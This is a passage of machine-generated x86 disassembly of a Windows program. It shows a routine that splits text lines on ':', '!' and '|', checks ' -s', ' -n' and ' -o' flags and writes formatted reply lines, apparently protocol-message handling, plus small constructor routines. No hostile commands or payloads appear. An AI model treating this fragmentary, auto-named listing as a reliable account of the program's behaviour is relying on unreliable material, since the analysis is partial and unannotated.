		mov	[esp+20h+var_D], 1


loc_410657:				; CODE XREF: sub_40FF60+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4106C4
		cmp	[ebp+16h], bl
		jnz	short loc_4106A0
		mov	ecx, offset byte_44741D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473D4
		call	sub_4017E4
		mov	edx, dword_4470F4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h


loc_4106A0:				; CODE XREF: sub_40FF60+713j
		mov	ecx, offset byte_4E6E75
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470FC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4106C4:				; CODE XREF: sub_40FF60+70Ej
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_447104
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	short loc_410775
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014D3
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41075D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015D7


loc_41075D:				; CODE XREF: sub_40FF60+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410775:				; CODE XREF: sub_40FF60+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_447100
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4107B0
		mov	al, byte_447834
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4107B4


loc_4107B0:				; CODE XREF: sub_40FF60+840j
		mov	[esp+20h+var_D], bl


loc_4107B4:				; CODE XREF: sub_40FF60+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410AC1
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_410812
		mov	ecx, eax
		call	sub_402054


loc_410812:				; CODE XREF: sub_40FF60+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41083E
		mov	ecx, eax
		call	sub_4010BE


loc_41083E:				; CODE XREF: sub_40FF60+8D5j
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401A9B
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410AAC


loc_41089F:				; CODE XREF: sub_40FF60+B46j
		push	96h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_4108C7
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_4108C9
; ---------------------------------------------------------------------------


loc_4108C7:				; CODE XREF: sub_40FF60+95Aj
		xor	esi, esi


loc_4108C9:				; CODE XREF: sub_40FF60+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4108FB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4108FF
; ---------------------------------------------------------------------------


loc_4108FB:				; CODE XREF: sub_40FF60+98Cj
		mov	[esp+20h+var_C], ebx


loc_4108FF:				; CODE XREF: sub_40FF60+999j
		push	offset aS_3	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410922
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410928
; ---------------------------------------------------------------------------


loc_410922:				; CODE XREF: sub_40FF60+9B7j
		mov	[esi+93h], bl


loc_410928:				; CODE XREF: sub_40FF60+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410943
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410949
; ---------------------------------------------------------------------------


loc_410943:				; CODE XREF: sub_40FF60+9D8j
		mov	[esi+94h], bl


loc_410949:				; CODE XREF: sub_40FF60+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410964
		mov	byte ptr [esi+95h], 1
		jmp	short loc_41096A
; ---------------------------------------------------------------------------


loc_410964:				; CODE XREF: sub_40FF60+9F9j
		mov	[esi+95h], bl


loc_41096A:				; CODE XREF: sub_40FF60+A02j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_446F60
		lea	ecx, [esi+54h]
		call	sub_4015D7
		push	offset byte_446F60
		lea	ecx, [esi+3Fh]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410A59
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410A59:				; CODE XREF: sub_40FF60+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013D4
		inc	edi
		push	offset asc_4435EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41089F


loc_410AAC:				; CODE XREF: sub_40FF60+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410AC1:				; CODE XREF: sub_40FF60+86Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470F8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410DDB
		push	96h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410B3B
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_410B3D
; ---------------------------------------------------------------------------


loc_410B3B:				; CODE XREF: sub_40FF60+BCEj
		xor	esi, esi


loc_410B3D:				; CODE XREF: sub_40FF60+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410B6C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410B6E
; ---------------------------------------------------------------------------


loc_410B6C:				; CODE XREF: sub_40FF60+BFFj
		xor	edi, edi


loc_410B6E:				; CODE XREF: sub_40FF60+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410B90
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410B96
; ---------------------------------------------------------------------------


loc_410B90:				; CODE XREF: sub_40FF60+C25j
		mov	[esi+95h], bl


loc_410B96:				; CODE XREF: sub_40FF60+C2Ej
		push	offset aS_3	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410BB1
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410BB7
; ---------------------------------------------------------------------------


loc_410BB1:				; CODE XREF: sub_40FF60+C46j
		mov	[esi+93h], bl


loc_410BB7:				; CODE XREF: sub_40FF60+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410BD2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410BD8
; ---------------------------------------------------------------------------


loc_410BD2:				; CODE XREF: sub_40FF60+C67j
		mov	[esi+94h], bl


loc_410BD8:				; CODE XREF: sub_40FF60+C70j
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016AE
		push	offset asc_443C78 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C78 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset dword_4437F8
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FBE
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C74 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410DAD
		add	eax, 2
		push	eax
		jmp	short loc_410DB2
; ---------------------------------------------------------------------------


loc_410DAD:				; CODE XREF: sub_40FF60+E45j
		push	offset byte_446F60


loc_410DB2:				; CODE XREF: sub_40FF60+E4Bj
		mov	ecx, esi
		call	sub_4015D7
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410DCF
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410DCF:				; CODE XREF: sub_40FF60+E64j
		mov	ecx, edi
		call	sub_4013D4
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_40FF60+BADj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44711C
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410FB0
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	edx
		call	sub_4016AE
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_410EA2
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	eax
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016AE
		mov	ecx, offset word_448C8E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40210D


loc_410EA2:				; CODE XREF: sub_40FF60+EF3j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_4E6E75
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411327
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C78 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401861
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_44741D
		mov	[ebp+16h], bl
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473D4
		call	sub_4017E4
		mov	edx, dword_4470F4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_40FF60+EC7j
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447110
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411168
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C78 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401861
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_443C74 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		mov	esi, dword_50FAF8
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_411153
		push	offset asc_443C74 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401861
		push	offset byte_446F60
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41113F
		push	offset byte_446F60
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41113F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_41111B
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FBE


loc_41111B:				; CODE XREF: sub_40FF60+11A9j
		push	offset byte_4E6E75
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41113F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E6E75
		push	edx
		call	sub_401FBE


loc_41113F:				; CODE XREF: sub_40FF60+1173j
					; sub_40FF60+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411153:				; CODE XREF: sub_40FF60+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_411168:				; CODE XREF: sub_40FF60+109Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447120
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4111EF
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447130
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4111F4


loc_4111EF:				; CODE XREF: sub_40FF60+1238j
		mov	[esp+20h+var_D], 1


loc_4111F4:				; CODE XREF: sub_40FF60+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411327
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C78 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C78 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_443C78 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C8E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40210D
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_411327
; ---------------------------------------------------------------------------


loc_411320:				; CODE XREF: sub_40FF60+391j
		mov	ecx, ebp
		call	sub_401D0C


loc_411327:				; CODE XREF: sub_40FF60+1D3j
					; sub_40FF60+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_40FFA2


loc_411330:				; CODE XREF: sub_40FF60+3Cj
					; sub_40FF60+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_40FF60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411860	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402054
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411860	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4118E0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016EAj
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4118F8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4118F8:				; CODE XREF: ___:004118EDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411910	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411910
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40196A
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411910	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411990	proc near		; CODE XREF: sub_402054j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411990	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A50	proc near		; CODE XREF: sub_40196Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A50
		mov	eax, large fs:0
		push	eax
